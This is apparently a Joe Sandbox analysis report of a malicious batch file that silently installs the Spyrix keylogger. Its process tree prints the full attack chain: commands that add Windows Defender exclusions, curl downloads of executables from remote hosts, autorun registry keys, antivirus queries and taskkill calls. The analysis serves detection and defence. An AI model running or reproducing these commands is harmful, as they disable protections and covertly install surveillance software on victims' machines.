Edit tour

Windows Analysis Report
D0WmCTD2qO.bat

Overview

General Information

Sample name:	D0WmCTD2qO.bat renamed because original name is a hash value
Original sample name:	500329d1eeead6e6b7b1570f637138e91f0e28a4febeae208631db98750312ee.bat
Analysis ID:	1523869
MD5:	6777134e2627894ed689d8357973acc7
SHA1:	cd0fab81cecb98eb8b5c5530cf291e9c6e854453
SHA256:	500329d1eeead6e6b7b1570f637138e91f0e28a4febeae208631db98750312ee
Tags:	batfiledn-comuser-JAMESWT_MHT
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Adds a directory exclusion to Windows Defender

Creates an undocumented autostart registry key

Found API chain indicative of debugger detection

Found stalling execution ending in API Sleep call

Loading BitLocker PowerShell Module

PE file has nameless sections

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Uses cmd line tools excessively to alter registry or file data

Uses netstat to query active network connections and open ports

Uses regedit.exe to modify the Windows registry

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to retrieve information about pressed keystrokes

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

HTTP GET or POST without a user agent

Installs a raw input device (often for capturing keystrokes)

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries keyboard layouts

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Powershell Defender Exclusion

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Stores files to the Windows start menu directory

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Uses reg.exe to modify the Windows registry

Uses taskkill to terminate processes

Classification

Process Tree

System is w10x64

cmd.exe (PID: 7584 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\D0WmCTD2qO.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 7680 cmdline: reg query "HKU\S-1-5-19\Environment" MD5: 227F63E1D9008B36BDBCC4B397780BE4)

powershell.exe (PID: 7696 cmdline: powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\183942631522663'" MD5: 04029E121A0CFA5991749937DD22A1D9)

curl.exe (PID: 7960 cmdline: curl.exe --insecure -o "C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe" https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/56ysdvbdckuh27dqLygst354csjnd/404 MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

[space]= .exe (PID: 8000 cmdline: "C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe" MD5: D15DAEF371B50FB739401BFDE29DF35A)

cmd.exe (PID: 8184 cmdline: "cmd.exe" /c C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2456 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 7332 cmdline: reg query "HKU\S-1-5-19\Environment" MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

powershell.exe (PID: 7384 cmdline: powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878'" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

curl.exe (PID: 1824 cmdline: curl.exe --insecure --user-agent "sfk-dst-loader-2.0" -o "C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\l" https://cdnbaynet.com/loader/link.php?prg_id=sfk MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

curl.exe (PID: 5364 cmdline: curl.exe --insecure --user-agent "sfk-dst-loader-2.0" -o "C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\[space]= .exe" https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

[space]= .exe (PID: 6108 cmdline: "C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\[space]= .exe" MD5: 0F335D8996D82DA30FE9286C671FA0CD)

[space]= .tmp (PID: 4452 cmdline: "C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp" /SL5="$30462,32862490,227328,C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\[space]= .exe" MD5: BFA3F09DEEE00832D000F497EC5B570A)

cmd.exe (PID: 4940 cmdline: "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\d.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7656 cmdline: C:\Windows\system32\cmd.exe /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

WMIC.exe (PID: 7660 cmdline: wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value MD5: E2DE6500DE1148C7F6027AD50AC8B891)

cmd.exe (PID: 5092 cmdline: "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\d.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7792 cmdline: C:\Windows\system32\cmd.exe /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

WMIC.exe (PID: 7840 cmdline: wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value MD5: E2DE6500DE1148C7F6027AD50AC8B891)

cmd.exe (PID: 7696 cmdline: "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\ex.cmd MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 5672 cmdline: reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\ex" /y MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 5796 cmdline: "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\pswd.cmd MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3672 cmdline: powershell.exe add-mpPreference -ExclusionProcess '[space]= .*' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 4864 cmdline: powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7384 cmdline: powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\*' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 2060 cmdline: powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 2752 cmdline: powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 2916 cmdline: powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7080 cmdline: powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7396 cmdline: powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7504 cmdline: powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 5376 cmdline: "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\ex.cmd MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6444 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 5408 cmdline: reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\ex" /y MD5: 227F63E1D9008B36BDBCC4B397780BE4)

taskkill.exe (PID: 4424 cmdline: "C:\Windows\system32\taskkill.exe" /IM cmd.exe /IM wlg.exe /IM spmm.exe /IM spkl.exe /IM spm.exe /IM sem.exe /IM clv.exe /IM akl.exe /IM sps.exe /IM sime64.exe /IM ff.exe /IM mrec.exe /IM clvhost.exe /IM ffws.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7648 cmdline: "C:\Windows\system32\taskkill.exe" /IM cmd.exe /IM wlg.exe /IM spmm.exe /IM spkl.exe /IM spm.exe /IM sem.exe /IM clv.exe /IM akl.exe /IM sps.exe /IM sime64.exe /IM ff.exe /IM mrec.exe /IM clvhost.exe /IM ffws.exe /F MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

regedit.exe (PID: 4340 cmdline: "regedit.exe" /e "C:\ProgramData\Spyrix Free Keylogger\temp\reg\info.uid" "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Spyrix Free Keylogger_is1" MD5: BD63D72DB4FA96A1E0250B1D36B7A827)

reg.exe (PID: 7896 cmdline: "reg.exe" delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Spyrix Free Keylogger_is1" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

conhost.exe (PID: 7844 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

spkl.exe (PID: 7712 cmdline: "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe" MD5: 11ADE4625528B6E7E1601681867E094E)

cmd.exe (PID: 6560 cmdline: "C:\Windows\system32\cmd.exe" /c netstat.exe -e > "C:\Users\user\AppData\Local\Temp\nse" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

NETSTAT.EXE (PID: 880 cmdline: netstat.exe -e MD5: 9DB170ED520A6DD57B5AC92EC537368A)

qrl.exe (PID: 6848 cmdline: "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Monitoring_StartButton_C79C6F489015E0BC97F892E357DB7156 https://spyrix.net/dashboard/prg-actions MD5: D9EA512EE580ECFFEE587A4C3759527F)

conhost.exe (PID: 1316 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

qrl.exe (PID: 3444 cmdline: "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Monitoring_Start_C79C6F489015E0BC97F892E357DB7156 https://spyrix.net/dashboard/prg-actions MD5: D9EA512EE580ECFFEE587A4C3759527F)

conhost.exe (PID: 2224 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

qrl.exe (PID: 4008 cmdline: "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Run_First_C79C6F489015E0BC97F892E357DB7156 https://spyrix.net/dashboard/prg-actions MD5: D9EA512EE580ECFFEE587A4C3759527F)

conhost.exe (PID: 7172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

spmm.exe (PID: 5480 cmdline: "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe" "Spyrix Free Keylogger 11.6.22" MD5: C0E67E8723775249CA0AE2C52E7EDD9E)

qrl.exe (PID: 4428 cmdline: "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_wizard_Start_C79C6F489015E0BC97F892E357DB7156 https://spyrix.net/dashboard/prg-actions MD5: D9EA512EE580ECFFEE587A4C3759527F)

conhost.exe (PID: 8092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 5672 cmdline: "C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 6608 cmdline: "C:\Windows\System32\cmd.exe" /c plist.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 1240 cmdline: chcp 65001 MD5: 20A59FB950D8A191F7D35C4CA7DA9CAF)

timeout.exe (PID: 1632 cmdline: timeout 20 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

cmd.exe (PID: 6940 cmdline: cmd /c exit 83 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 6364 cmdline: cmd /c exit 112 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 3872 cmdline: cmd /c exit 121 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 3456 cmdline: cmd /c exit 114 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 7636 cmdline: cmd /c exit 105 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 7420 cmdline: cmd /c exit 120 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

tasklist.exe (PID: 5384 cmdline: TASKLIST /FI "IMAGENAME eq spm.exe" /FO CSV /NH MD5: 0A4448B31CE7F83CB7691A2657F330F1)

find.exe (PID: 7608 cmdline: find "spm" MD5: 15B158BC998EEF74CFDD27C44978AEA0)

tasklist.exe (PID: 7396 cmdline: TASKLIST /FI "IMAGENAME eq sem.exe" /FO CSV /NH MD5: 0A4448B31CE7F83CB7691A2657F330F1)

cmd.exe (PID: 1444 cmdline: C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\dashboard.cmd" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 1292 cmdline: timeout 6 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

chrome.exe (PID: 6736 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://dashboard.spyrix.com/ MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1512 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1912,i,17144999493896228581,15445594864361974383,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

powershell.exe (PID: 3040 cmdline: powershell.exe Remove-MpPreference -exclusionPath "C:\Users\user\AppData\Local\Temp\183942631522663" MD5: 04029E121A0CFA5991749937DD22A1D9)

svchost.exe (PID: 8036 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-EO3DV.tmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000004D.00000000.2580594653.0000000000401000.00000020.00000001.01000000.00000018.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
77.0.spmm.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\183942631522663'", CommandLine: powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\183942631522663'", CommandLine|base64offset|contains: i~yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\D0WmCTD2qO.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7584, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\183942631522663'", ProcessId: 7696, ProcessName: powershell.exe

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Source: Threat created

Author: Perez Diego (@darkquassar), oscd.community: Data: EventID: 8, SourceImage: C:\Windows\SysWOW64\wscript.exe, SourceProcessId: 5672, StartAddress: F3FEB0, TargetImage: C:\Windows\System32\reg.exe, TargetProcessId: 5672

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\183942631522663'", CommandLine: powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\183942631522663'", CommandLine|base64offset|contains: i~yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\D0WmCTD2qO.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7584, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\183942631522663'", ProcessId: 7696, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp" /SL5="$30462,32862490,227328,C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\[space]= .exe" , ParentImage: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp, ParentProcessId: 4452, ParentProcessName: [space]= .tmp, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs" , ProcessId: 5672, ProcessName: wscript.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp, ProcessId: 4452, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\localSPM

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp" /SL5="$30462,32862490,227328,C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\[space]= .exe" , ParentImage: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp, ParentProcessId: 4452, ParentProcessName: [space]= .tmp, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs" , ProcessId: 5672, ProcessName: wscript.exe

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: , EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp, ProcessId: 4452, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\kbdsprt

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\183942631522663'", CommandLine: powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\183942631522663'", CommandLine|base64offset|contains: i~yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\D0WmCTD2qO.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7584, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\183942631522663'", ProcessId: 7696, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8036, ProcessName: svchost.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: D0WmCTD2qO.bat	ReversingLabs: Detection: 26%
Source: D0WmCTD2qO.bat	Virustotal: Detection: 20%			Perma Link

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 71_2_0038C770 memset,CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	71_2_0038C770
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 71_2_00389BC0 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,	71_2_00389BC0
